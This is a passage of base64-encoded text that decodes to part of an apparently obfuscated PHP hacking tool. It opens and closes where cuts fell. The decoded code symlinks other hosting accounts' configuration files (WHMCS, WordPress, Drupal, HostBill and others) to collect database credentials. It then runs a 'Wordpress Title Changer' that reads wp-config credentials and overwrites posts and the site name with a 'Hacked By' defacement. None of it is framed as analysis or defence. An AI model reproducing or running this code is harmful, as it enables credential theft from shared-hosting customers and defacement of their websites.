GhwJywgJHVzZXIgLiAnLTYudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCAkdXNlciAuICctNy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsICR1c2VyIC4gJy1QSFAtRnVzaW9uLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywgJHVzZXIgLiAnLTkudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsICR1c2VyIC4gJy10cmFpZG50MS50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywgJHVzZXIgLiAnLTRpbWFnZXMudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAnLCAkdXNlciAuICctRHJ1cGFsLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL21lbWJlci9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy0xbWVtYmVyLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3N1cHBvcnRzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywgJHVzZXIgLiAnLWhvc3RiaWxscy1zdXBwb3J0cy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jbGllbnQvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCAkdXNlciAuICctaG9zdGJpbGxzLWNsaWVudC50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2luY2x1ZGVzL2lzbzQyMTcucGhwJywgJHVzZXIgLiAnLWhvc3RiaWxscy1zdXBwb3J0LnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2JpbGxpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCAkdXNlciAuICctaG9zdGJpbGxzLWJpbGxpbmcudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYmlsbGluZ3MvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCAkdXNlciAuICctaG9zdGJpbGxzLWJpbGxpbmdzLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2hvc3QvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCAkdXNlciAuICctaG9zdGJpbGxzLWhvc3QudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaG9zdHMvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCAkdXNlciAuICctaG9zdGJpbGxzLWhvc3RzLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2hvc3RpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCAkdXNlciAuICctaG9zdGJpbGxzLWhvc3RpbmcudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaG9zdGluZ3MvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCAkdXNlciAuICctaG9zdGJpbGxzLWhvc3RpbmdzLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2luY2x1ZGVzL2lzbzQyMTcucGhwJywgJHVzZXIgLiAnLWhvc3RiaWxscy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ob3N0YmlsbHMvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCAkdXNlciAuICctaG9zdGJpbGxzLWhvc3RiaWxscy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ob3N0YmlsbC9pbmNsdWRlcy9pc280MjE3LnBocCcsICR1c2VyIC4gJy1ob3N0YmlsbHMtaG9zdGJpbGwudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY2FydC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1jYXJ0LVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctaG9zdGluZy1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9idXkvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctYnV5LVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2NoZWNrb3V0L2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWNoZWNrb3V0LVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2hvc3QvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctaG9zdC1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXNob3AtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc2hvcHBpbmcvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctc2hvcHBpbmctV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc2FsZS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1zYWxlLVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1jbGllbnQtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1zdXBwb3J0LVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2NsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctY2xpZW50c3VwcG9ydC1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htLXdobWNzLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3dobS9XSE1DUy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy13aG0tV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd2htYy9XSE0vY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htYy1XSE0udHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htYy1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zdXBwL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXN1cHAtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc2VjdXJlL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXN1Y3VyZS1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zZWN1cmUvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXN1Y3VyZS13aG0tV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc2VjdXJlL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXN1Y3VyZS13aG1jcy1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1wYW5lbC1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ob3N0cy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1ob3N0cy1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywgJHVzZXIgLiAnLXN1Ym1pdHRpY2tldC1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWNsaWVudHMtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctY2xpZW50ZXMtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1jbGllbnQtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1iaWxsaW5nLVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy13aG0tbWFuYWdlLVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL215L2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXdobS1teS1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9teXNob3AvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htLW15c2hvcC1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1iaWxsaW5ncy1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zdXBwb3J0cy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1zdXBwb3J0cy1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9hdXRvL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWF1dG8tV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvZ28vY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctZ28tV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvJyAuICR1c2VyIC4gJy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1VU0VSTkFNRS1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9iaWxsL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWJpbGwtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvcGF5bWVudC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1wYXltZW50LVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3BheS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1wYXktV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvcHVyY2hhc2UvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctcHVyY2hhc2UtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvZGIucGhwJywgJHVzZXIgLiAnLW5vcm1hbCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2NvbmVjdF90b19teXNxbC5waHAnLCAkdXNlciAuICctYXV0b2J1eScpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywgJHVzZXIgLiAnLW5vcm1hbCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2FkbWluL2Nvbm5lY3QucGhwJywgJHVzZXIgLiAnLW5vcm1hbCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2luY2x1ZGUvY29ubmVjdC5waHAnLCAkdXNlciAuICctbm9ybWFsJyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd3AtYWRtaW4vY29ubmVjdC5waHAnLCAkdXNlciAuICctbm9ybWFsJyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd3AtYWRtaW4vY29uZmlnLnBocCcsICR1c2VyIC4gJy1ub3JtYWwnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93cC1hZG1pbi9kYmNvbm5lY3QucGhwJywgJHVzZXIgLiAnLW5vcm1hbCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2FkbWluL2RiY29ubmVjdC5waHAnLCAkdXNlciAuICctbm9ybWFsJyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvZGJjb25uZWN0LnBocCcsICR1c2VyIC4gJy1ub3JtYWwnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25uZWN0aW9uLnBocCcsICR1c2VyIC4gJy1ub3JtYWwnKTsNCiAgICB9DQogICAgZWNobyAnPGIgY2xhc3M9ImNvbmUiPjxicj48YnI+PGNlbnRlcj48Zm9udCBmYWNlPSJUYWhvbWEiIGNvbG9yPSJMYXduR3JlZW4iIHNpemU9IjJwdCI+PGI+Q29uZ3JhdHVsYXRpb24gPT0+PiA8L2I+IDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJVZVhwbG9pVCI+PGZvbnQgY29sb3I9Ikxhd25HcmVlbiIgc2l6ZT0iMnB0Ij5Db25maWcgbGlzdDwvYT48L2ZvbnQ+PC9iPic7DQp9IH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA/Pg0KDQogICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnd3BfdGl0bGUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRpciA9IGdldGN3ZCgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGFtYmlsS2F0YSgkcGFyYW0sICRrYXRhMSwgJGthdGEyKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoc3RycG9zKCRwYXJhbSwgJGthdGExKSA9PT0gRkFMU0UpIHJldHVybiBGQUxTRTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoc3RycG9zKCRwYXJhbSwgJGthdGEyKSA9PT0gRkFMU0UpIHJldHVybiBGQUxTRTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0YXJ0ID0gc3RycG9zKCRwYXJhbSwgJGthdGExKSArIHN0cmxlbigka2F0YTEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZW5kID0gc3RycG9zKCRwYXJhbSwgJGthdGEyLCAkc3RhcnQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmV0dXJuID0gc3Vic3RyKCRwYXJhbSwgJHN0YXJ0LCAkZW5kIC0gJHN0YXJ0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRyZXR1cm47DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgY2xhc3M9ZGVmIHN0eWxlPSdmb250LXNpemU6MTgwJTsgY29sb3I6IGxhd25ncmVlbjsnPldvcmRwcmVzcyBUaXRsZSBDaGFuZ2VyPC9oMT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPWRlZj5Db25maWcgRGlyOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSc1MCcgc3R5bGU9J3dpZHRoOiA0NTBweDsnIG5hbWU9J2NvbmZpZ19kaXInIHZhbHVlPSckZGlyJz48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPWRlZj5UaXRsZToNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nbmV3X3RpdGxlJyBzdHlsZT0nd2lkdGg6IDMwMHB4OycgdmFsdWU9J0hhY2tlZCBCeSAnIHBsYWNlaG9sZGVyPSdOZXcgVGl0bGUnPjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0naGFqYXInIHZhbHVlPSdTdGFydCcgc3R5bGU9J3dpZHRoOiAzMDBweDsnPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ2hhamFyJ10pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRpdGxlID0gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ25ld190aXRsZSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBuX3RpdGxlID0gc3RyX3JlcGxhY2UoIiAiLCAiLSIsICR0aXRsZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzY3JpcHQgPSAkdGl0bGU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb25mID0gJF9QT1NUWydjb25maWdfZGlyJ107DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzY2FuX2NvbmYgPSBzY2FuZGlyKCRjb25mKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJHNjYW5fY29uZiBhcyAkZmlsZV9jb25mKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCFpc19maWxlKCIkY29uZi8kZmlsZV9jb25mIikpIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29uZmlnID0gZmlsZV9nZXRfY29udGVudHMoIiRjb25mLyRmaWxlX2NvbmYiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYocHJlZ19tYXRjaCgiL1dvcmRQcmVzcy8iLCAkY29uZmlnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYmhvc3QgPSBhbWJpbGthdGEoJGNvbmZpZywiREJfSE9TVCcsICciLCInIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRidXNlciA9IGFtYmlsa2F0YSgkY29uZmlnLCJEQl9VU0VSJywgJyIsIiciKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGJwYXNzID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX1BBU1NXT1JEJywgJyIsIiciKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGJuYW1lID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX05BTUUnLCAnIiwiJyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYnByZWZpeCA9IGFtYmlsa2F0YSgkY29uZmlnLCJ0YWJsZV9wcmVmaXggID0gJyIsIiciKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcHJlZml4ID0gJGRicHJlZml4LiJwb3N0cyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9wdGlvbiA9ICRkYnByZWZpeC4ib3B0aW9ucyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbm4gPSBteXNxbF9jb25uZWN0KCRkYmhvc3QsJGRidXNlciwkZGJwYXNzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGIgPSBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHEgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkcHJlZml4IE9SREVSIEJZIElEIEFTQyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbF9mZXRjaF9hcnJheSgkcSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlkID0gJHJlc3VsdFtJRF07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHEyID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJG9wdGlvbiBPUkRFUiBCWSBvcHRpb25faWQgQVNDIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdDIgPSBteXNxbF9mZXRjaF9hcnJheSgkcTIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0YXJnZXQgPSAkcmVzdWx0MltvcHRpb25fdmFsdWVdOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1cGRhdGUgPSBteXNxbF9xdWVyeSgiVVBEQVRFICRwcmVmaXggU0VUIHBvc3RfdGl0bGU9JyR0aXRsZScscG9zdF9jb250ZW50PSckc2NyaXB0Jyxwb3N0X25hbWU9JyRwbl90aXRsZScscG9zdF9zdGF0dXM9J3B1Ymxpc2gnLGNvbW1lbnRfc3RhdHVzPSdvcGVuJyxwaW5nX3N0YXR1cz0nb3BlbicscG9zdF90eXBlPSdwb3N0Jyxjb21tZW50X2NvdW50PScxJyBXSEVSRSBpZD0nJGlkJyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1cGRhdGUgLj0gbXlzcWxfcXVlcnkoIlVQREFURSAkb3B0aW9uIFNFVCBvcHRpb25fdmFsdWU9JyR0aXRsZScgV0hFUkUgb3B0aW9uX25hbWU9J2Jsb2duYW1lJyBPUiBvcHRpb25fbmFtZT0nYmxvZ2Rlc2NyaXB0aW9uJyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxkaXYgc3R5bGU9J21hcmdpbjogNXB4IGF1dG87Jz4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR0YXJnZXQgPT0gJycpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5UaGVyZSBXYXMgYSBFcnJvciBXaGlsZSBEb2luZyBUaGUgVGFzazwvZm9udD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YSBocmVmPSckdGFyZ2V0LyIuJHBuX3RpdGxlLiInIHRhcmdldD0nX2JsYW5rJz48Zm9udCBjb2xvcj0nbGF3bmdyZWVuJz4kdGFyZ2V0LyRwbl90aXRsZTwvZm9udD48L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoISR1cGRhdGUgT1IgISRjb25uIE9SICEkZGIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5NeVNRTCBFcnJvcjogIi5teXNxbF9lcnJvcigpLiI8L2ZvbnQ+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg